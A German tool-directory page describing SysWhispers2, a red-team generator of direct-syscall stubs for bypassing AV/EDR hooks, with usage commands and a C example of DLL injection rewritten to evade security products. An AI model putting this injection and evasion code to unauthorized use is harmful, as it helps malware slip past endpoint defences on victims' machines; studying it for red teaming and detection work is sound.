Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SysWhispers2 — AV/EDR-Umgehung durch direkte Systemaufrufe. | Kitploit
Tools/GitHubGitHub/jthuraisamy/syswhispers2
DefensivwerkzeugePayload-GenerierungIDS/IPS-UmgehungShellcodeRed TeamingShellcode-GenerierungPayload-EntwicklungBinary-ExploitationTop in IDS/IPS-Umgehung Nr.18Top in Payload-Entwicklung Nr.6
1.8k26569vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Top in Payload-Generierung Nr.8
Top in Shellcode Nr.6
Top in Shellcode-Generierung Nr.8
GitHubjthuraisamy/syswhispers2

SysWhispers2

AV/EDR-Umgehung durch direkte Systemaufrufe.

Repository anzeigen
Teilen

SysWhispers2

SysWhispers hilft bei der Umgehung von Sicherheitsmaßnahmen, indem es Header/ASM-Dateien generiert, die Implantate verwenden können, um direkte Systemaufrufe durchzuführen.

Alle Kern-Syscalls werden unterstützt, und Beispieldateien sind im Ordner example-output/ verfügbar.

Unterschied zwischen SysWhispers 1 und 2

Die Verwendung ist fast identisch mit SysWhispers1, aber Sie müssen nicht angeben, welche Windows-Versionen unterstützt werden sollen. Die meisten Änderungen finden hinter den Kulissen statt. Es stützt sich nicht mehr auf die Syscall-Tabellen von @j00ru, sondern verwendet die Technik des "Sortierens nach Systemaufrufadresse", die von @modexpblog popularisiert wurde. Dies reduziert die Größe der Syscall-Stubs erheblich.

Die spezifische Implementierung in SysWhispers2 ist eine Variation des Codes von @modexpblog. Ein Unterschied besteht darin, dass die Funktionsnamen-Hashes bei jeder Generierung zufällig sind. @ElephantSe4l, der diese Technik bereits früher veröffentlicht hatte, hat eine weitere Implementierung auf Basis von C++17, die ebenfalls einen Blick wert ist.

Das ursprüngliche SysWhispers-Repository ist noch verfügbar, könnte aber in Zukunft veraltet sein.

Einführung

Verschiedene Sicherheitsprodukte platzieren Hooks in User-Mode-API-Funktionen, die es ihnen ermöglichen, den Ausführungsfluss zu ihren Engines umzuleiten und verdächtiges Verhalten zu erkennen. Die Funktionen in ntdll.dll, die die Syscalls ausführen, bestehen aus nur wenigen Assembler-Anweisungen, sodass eine Neuimplementierung in Ihrem eigenen Implantat die Auslösung dieser Sicherheitsprodukt-Hooks umgehen kann. Diese Technik wurde von @Cn33liz popularisiert, und sein Blogbeitrag enthält weitere technische Details, die lesenswert sind.

SysWhispers bietet Red Teamern die Möglichkeit, Header/ASM-Paare für jeden Systemaufruf im Kern-Kernel-Image (ntoskrnl.exe) zu generieren. Die Header enthalten auch die notwendigen Typdefinitionen.

Installation

> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help

Verwendung und Beispiele

Befehlszeilen

# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all

# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common

# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

Skriptausgabe

PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common

python syswhispers.py -p all -a all -l all -o example-output/Syscalls

                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.    /
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. ,-'
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-' `---
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021

SysWhispers2: Why call the kernel when you can whisper?

All functions selected.

Complete! Files written to:
        example-output/Syscalls.h
        example-output/Syscalls.c
        example-output/SyscallsStubs.std.x86.asm
        example-output/SyscallsStubs.rnd.x86.asm
        example-output/SyscallsStubs.std.x86.nasm
        example-output/SyscallsStubs.rnd.x86.nasm
        example-output/SyscallsStubs.std.x86.s
        example-output/SyscallsStubs.rnd.x86.s
        example-output/SyscallsInline.std.x86.h
        example-output/SyscallsInline.rnd.x86.h
        example-output/SyscallsStubs.std.x64.asm
        example-output/SyscallsStubs.rnd.x64.asm
        example-output/SyscallsStubs.std.x64.nasm
        example-output/SyscallsStubs.rnd.x64.nasm
        example-output/SyscallsStubs.std.x64.s
        example-output/SyscallsStubs.rnd.x64.s
        example-output/SyscallsInline.std.x64.h
        example-output/SyscallsInline.rnd.x64.h

Vorher-Nachher-Beispiel der klassischen CreateRemoteThread-DLL-Injektion

py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
    CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

Allgemeine Funktionen

Die Verwendung des Schalters --preset common erstellt ein Header/ASM-Paar mit den folgenden Funktionen:

Klicken Sie, um die Funktionsliste zu erweitern.
  • NtCreateProcess (CreateProcess)
  • NtCreateThreadEx (CreateRemoteThread)
  • NtOpenProcess (OpenProcess)
  • NtOpenThread (OpenThread)
  • NtSuspendProcess
  • NtSuspendThread (SuspendThread)
  • NtResumeProcess
  • NtResumeThread (ResumeThread)
  • NtGetContextThread (GetThreadContext)
  • NtSetContextThread (SetThreadContext)
  • NtClose (CloseHandle)
  • NtReadVirtualMemory (ReadProcessMemory)
  • NtWriteVirtualMemory (WriteProcessMemory)
  • NtAllocateVirtualMemory (VirtualAllocEx)
  • NtProtectVirtualMemory (VirtualProtectEx)
  • NtFreeVirtualMemory (VirtualFreeEx)
  • NtQuerySystemInformation (GetSystemInfo)
  • NtQueryDirectoryFile
  • NtQueryInformationFile
  • NtQueryInformationProcess
  • NtQueryInformationThread
  • NtCreateSection (CreateFileMapping)
  • NtOpenSection
  • NtMapViewOfSection
  • NtUnmapViewOfSection
  • NtAdjustPrivilegesToken (AdjustTokenPrivileges)
  • NtDeviceIoControlFile (DeviceIoControl)
  • NtQueueApcThread (QueueUserAPC)
  • NtWaitForMultipleObjects (WaitForMultipleObjectsEx)

Importieren in Visual Studio

Tool herunterladen